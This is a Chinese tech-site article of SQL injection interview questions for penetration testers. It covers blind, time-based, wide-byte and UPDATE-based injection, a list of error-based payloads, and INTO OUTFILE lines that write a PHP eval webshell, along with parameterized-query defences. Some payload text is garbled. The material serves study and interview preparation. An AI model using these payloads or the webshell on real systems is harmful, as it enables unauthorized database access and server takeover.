iis服务器助手广告广告
返回顶部
首页 > 资讯 > 精选 >SQL注入渗透测试以及护网面试题有哪些
  • 792
分享到

SQL注入渗透测试以及护网面试题有哪些

2023-06-26 04:06:27 792人浏览 八月长安
摘要

这篇文章主要介绍“sql注入渗透测试以及护网面试题有哪些”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SQL注入渗透测试以及护网面试题有哪些”文章能帮助大家解决问题。SQL 注入漏洞成因、注入的类型

这篇文章主要介绍“sql注入渗透测试以及护网面试题有哪些”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SQL注入渗透测试以及护网面试题有哪些”文章能帮助大家解决问题。

SQL 注入漏洞成因、注入的类型和方式、防范?

提交错误语句是否有异常,除此之外这些显示的错误可以通过 sleep,修眠语句执⾏ 5 秒,通过 DNSlog 判断传回值等。

select * from news where id = '$SQL';

当程序执⾏访问新闻等⼀些操作都会执⾏到 sql 语句进行调用,如果在此调⽤过程中,提交了不合法的数据,⽽数据库⽆法识别则会报错。也就是⼀切输⼊都是有害的。

注入类型有 6 种,可以参考 SQLMAP,报错、盲注、联合、时间、内联、堆叠

注入提交方式:GET、POST、Cookies、⽂件头

防范: 边界 -> CDN(内容分发网络) -> 脚本语⾔过滤 -> 数据库过滤最小权限 -> 主机

盲注是什么?怎么盲注?

盲注是在 SQL 注⼊攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在 SQL 注⼊和利⽤的⽅式。
盲注的⼿段有两种,

⼀个是通过⻚⾯的返回内容是否正确 (boolean-based),来验证是否存在注⼊。

⼀个是通过 sql 语句处理时间的不同来判断是否存在注⼊ (time-based),在这⾥,可以⽤ benchmark,sleep 等造成延时效果的函数,也可以通过构造⼤笛卡⼉积的联合查询表来达到延时的⽬的。

宽字节注入原理

产⽣原理

在数据库使⽤了宽字符集而 WEB 中没考虑这个问题的情况下,在 WEB 层,由于 0XBF27 是两个字符,在 PHP 中⽐如addslash 和 magic_quotes_gpc 开启时,由于会对 0x27 单引号进⾏转义,因此 0xbf27 会变成 0xbf5c27, ⽽数据进⼊数据库中时,由于 0XBF5C 是⼀个另外的字符,因此 转义符号会被前⾯的 bf 带着 “吃掉”,单引号由此逃逸出来可以⽤来闭合语句。

根本原因

character_set_client(客户端的字符集) 和 character_set_connection(连接层的字符集) 不同, 或转换函数如,iconv、mb_convert_encoding 使⽤不当。

解决办法

统⼀数据库、Web 应⽤、操作系统所使⽤的字符集,避免解析产⽣差异,最好都设置为 UTF-8。或对数据进⾏正确的转义,如 mysql_real_escape_string+Mysql_set_charset 的使⽤。

SQL 里面只有 update 怎么利用

先理解这句 SQL

UPDATE user SET passWord='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就实现了注⼊

修改 homepage 值为 Http://xxx.net’, userlevel='3

之后 SQL 语句变为

UPDATE user SET password='mypass', homepage='http://xxx.net', userlevel='3' WHERE id='$id'

userlevel 为⽤户级别

修改 password 值为 mypass)’ WHERE username=‘admin’#

之后 SQL 语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

修改 id 值为 ’ OR username=‘admin’ 之后 SQL 语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

为什么参数化查询可以防止SQL 注入?

原理:

使⽤参数化查询数据库服务器不会把参数的内容当作 sql 指令的⼀部分来执⾏,是在数据库完成 sql 指令的编译后才套⽤参数运⾏。

简单的说: 参数化能防注⼊的原因在于, 语句是语句,参数是参数,参数的值并不是语句的⼀部分,数据库只按语句的语义跑。

报错注入的函数有哪些?

and extractvalue(1, concat(0x7e,(select @@version),0x7e))通过floor报错 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));polyGon()select from test where id=1 and polygon((select from(select from(select user())a)b));multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));exp()select from test where id=1 and exp(~(select * from(select user())a));

延时注入如何来判断?

if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

盲注和延时注入的共同点?

都是⼀个字符⼀个字符的判断。

sql 注入写文件都有哪些函数?

select '⼀句话' into outfile '路径'select '⼀句话' into dumpfile '路径'select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php;

如何防护SQL注入攻击呢?

对代码进行过滤非法符号如</?&>之类的,对一些脚本标签scrpt以及img或frame都进行过滤和替换。

对一些函数变量直接进行强制定义,比如金额函数这里直接限定只能写入正整数类型的数值,那么其他的参数像姓名的话可以直接限定到只允许写入中文和英文的数值,其他的以此类推。

对一些带入数据库查询和更新的语句,一定要看看get或post过来的数据参数是否是直接把参数类型定好了的,防止被注入恶意语句导致被攻击。

关于“SQL注入渗透测试以及护网面试题有哪些”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程网精选频道,小编每天都会为大家更新不同的知识点。

--结束END--

本文标题: SQL注入渗透测试以及护网面试题有哪些

本文链接: https://www.lsjlt.com/news/306626.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • SQL注入渗透测试以及护网面试题有哪些
    这篇文章主要介绍“SQL注入渗透测试以及护网面试题有哪些”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SQL注入渗透测试以及护网面试题有哪些”文章能帮助大家解决问题。SQL 注入漏洞成因、注入的类型...
    99+
    2023-06-26
  • SQL注入渗透测试以及护网面试题和解答总结
    目录SQL 注入漏洞成因、注入的类型和方式、防范?盲注是什么?怎么盲注?宽字节注入原理SQL 里面只有 update 怎么利用为什么参数化查询可以防止SQL 注入?报错注入...
    99+
    2024-04-02
  • 【渗透测试】XXE(外部实体注入):PHP_XXE解题简记
    目录 🦄一、XXE(外部实体注入) 🐹1.1 漏洞介绍 🐹1.2 漏洞识别 🐹1.3 漏洞防御 🦄二、PHP_XXE解题 🐹2.1 解题步骤 ...
    99+
    2023-09-16
    php 系统安全 web安全 网络安全 安全
  • SQL有哪些面试题及答案
    本篇内容主要讲解“SQL有哪些面试题及答案”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“SQL有哪些面试题及答案”吧!到此,相信大家对“SQL有哪些面试题及答案...
    99+
    2024-04-02
  • 用于黑客渗透测试的Linux工具有哪些
    这篇文章主要介绍了用于黑客渗透测试的Linux工具有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇用于黑客渗透测试的Linux工具有哪些文章都会有所收获,下面我们一起来看看吧。用于黑客渗透测试的 Kali ...
    99+
    2023-06-17
  • APP渗透测试 深入挖掘漏洞以及如何防止攻击
    很多公司都有着自己的APP,包括安卓端以及ios端都有属于自己的APP应用,随着互联网的快速发展,APP安全也影响着整个公司的业务发展,前段时间有客户的APP被攻击,数据被篡改,支付地址也被修改成攻击者自己的,损失惨重,通过朋友介绍找到我们...
    99+
    2023-06-03
  • 用C语言winform编写渗透测试工具实现SQL注入功能
    目录用C语言winform编写渗透测试工具使SQL注入一、SQL注入二、实现步骤三、代码实现四、软件使用步骤用C语言winform编写渗透测试工具使SQL注入 一、SQL注入 原...
    99+
    2024-04-02
  • 服务器性能测试面试题及答案有哪些
    这篇文章主要介绍“服务器性能测试面试题及答案有哪些”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“服务器性能测试面试题及答案有哪些”文章能帮助大家解决问题。      &...
    99+
    2023-06-04
  • java入门面试题有哪些
    这篇文章主要为大家展示了“java入门面试题有哪些”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“java入门面试题有哪些”这篇文章吧。1. 谈谈你对面向对象的了解? (谈谈你对面向对象和面向过程...
    99+
    2023-06-20
  • 有哪些常见的SQL面试题
    本篇内容介绍了“有哪些常见的SQL面试题”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1.连续活跃问题这个...
    99+
    2024-04-02
  • Vue.js面试题及答案有哪些
    这篇文章主要介绍了Vue.js面试题及答案有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Vue.js面试题及答案有哪些文章都会有所收获,下面我们一起来看看吧。一、Vue.js基本问题1.1.Vue 响应式...
    99+
    2023-07-02
  • GO面试题及答案有哪些
    这篇文章主要介绍“GO面试题及答案有哪些”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“GO面试题及答案有哪些”文章能帮助大家解决问题。slice 扩容机制GO1.17版本及之前当新切片需要的容量ca...
    99+
    2023-07-04
  • ActiveMQ面试题及答案有哪些
    这篇文章主要介绍“ActiveMQ面试题及答案有哪些”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“ActiveMQ面试题及答案有哪些”文章能帮助大家解决问题。    1、什么是 ...
    99+
    2023-06-04
  • Python有哪些面试题及答案
    本篇内容主要讲解“Python有哪些面试题及答案”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Python有哪些面试题及答案”吧!Q1、Python中的列表和元组有什么区别?Q2、Python的...
    99+
    2023-07-02
  • Redux面试题及答案有哪些
    本文小编为大家详细介绍“Redux面试题及答案有哪些”,内容详细,步骤清晰,细节处理妥当,希望这篇“Redux面试题及答案有哪些”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。Redux是什么Redux是当今市场上...
    99+
    2023-06-04
  • Dubbo面试题及答案有哪些
    本篇内容介绍了“Dubbo面试题及答案有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!  1、Dubbo是什么  Dubbo是一个分布式...
    99+
    2023-06-04
  • PHP有哪些面试题及答案
    今天小编给大家分享一下PHP有哪些面试题及答案的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。1、什么事面向对象?主要特征是什...
    99+
    2023-07-02
  • Kubernetes面试题及答案有哪些
    本篇内容介绍了“Kubernetes面试题及答案有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!  1、什么是Kubernetes  K...
    99+
    2023-06-04
  • SpringBoot有哪些面试题及答案
    这篇文章主要介绍“SpringBoot有哪些面试题及答案”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SpringBoot有哪些面试题及答案”文章能帮助大家解决问题。1. 什么是 Spring Bo...
    99+
    2023-07-05
  • Vue面试题及答案有哪些
    这篇文章主要介绍了Vue面试题及答案有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Vue面试题及答案有哪些文章都会有所收获,下面我们一起来看看吧。1. 简述 Vue 生命周期答题思路:Vue 生命周期是什...
    99+
    2023-07-04
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作